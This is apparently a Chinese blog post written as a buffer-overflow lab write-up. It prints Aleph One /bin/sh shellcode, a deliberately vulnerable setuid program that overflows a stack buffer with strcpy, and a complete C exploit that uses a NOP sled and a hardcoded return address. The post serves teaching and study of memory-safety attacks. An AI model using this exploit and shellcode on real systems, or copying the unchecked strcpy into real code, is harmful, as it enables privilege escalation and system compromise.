【1】缓冲区溢出 strcpy

最新推荐文章于 2021-07-27 21:17:17 发布

如梦如幻uuu

最新推荐文章于 2021-07-27 21:17:17 发布

阅读量4.7k

点赞数 5

分类专栏：缓冲区溢出文章标签：缓冲区溢出 strcpy

本文链接：https://blog.csdn.net/qq_36779888/article/details/89682728

版权

缓冲区溢出专栏收录该内容

6 篇文章

订阅专栏

本文详细介绍了通过构造特定payload实现缓冲区溢出的过程，利用strcpy函数的漏洞，成功执行shellcode，实现对程序的控制。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

最近在做缓冲区溢出实验，总共有6个

shellcode.h

shellcode的作用是运行一个/bin/sh

/*
 * Aleph One shellcode.45个字节
 */
static const char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

源代码:vul1:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int bar(char *arg, char *out)//
{
  strcpy(out, arg);//将arg指向的地址内容拷贝给out所指的地址中去
  return 0;
}

void foo(char *argv[])
//运行bar，由于buf是一个局部变量
//故而经过bar将argv的内容拷贝给了buf指向的地址，造成了栈溢出
//且可以绕过长度限制，构造shellcode覆盖返回地址
{
  char buf[256];
  bar(argv[1], buf);
}

int main(int argc, char *argv[])
{
  if (argc != 2)//保证有参数输入，且为1
    {
      fprintf(stderr, "target1: argc != 2\n");
      exit(EXIT_FAILURE);
    }
  setuid(0);//设置UID为0
  foo(argv);//运行函数foo
  return 0;
}

攻击代码：

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "shellcode.h"

#define TARGET "/mnt/hgfs/sourcecode/proj1/vulnerables/vul1"//目标文件路径
int main(void)
{
  //211个NOP+45个字节shellcode+8个字节EBP与返回地址 = 264字节
  char payload[264];
  memset(payload,'\x90',211);
  memcpy(payload + 211,shellcode,45);
  memcpy(payload + 256,"\x04\xfc\xff\xbf\x10\xfc\xff\xbf",8);
  char *args[] = { TARGET, payload , NULL};//定义运行参数
  char *env[] = { NULL };//环境变量为NULL

  execve(TARGET, args, env);
// int execve(const char* filename,char* const argv[],char* const envp[]);
// 参数介绍：
// filename：程序所在的路径
// argv：传递给程序的参数，数组指针argv必须以程序(filename)开头，NULL结尾
// envp：传递给程序的新环境变量，无论是shell脚本，还是可执行文件都可以使用此环境变量，必须以NULL结尾
// 函数返回值：
// 成功无返回值，失败返回-1
  fprintf(stderr, "execve failed.\n");

  return 0;
}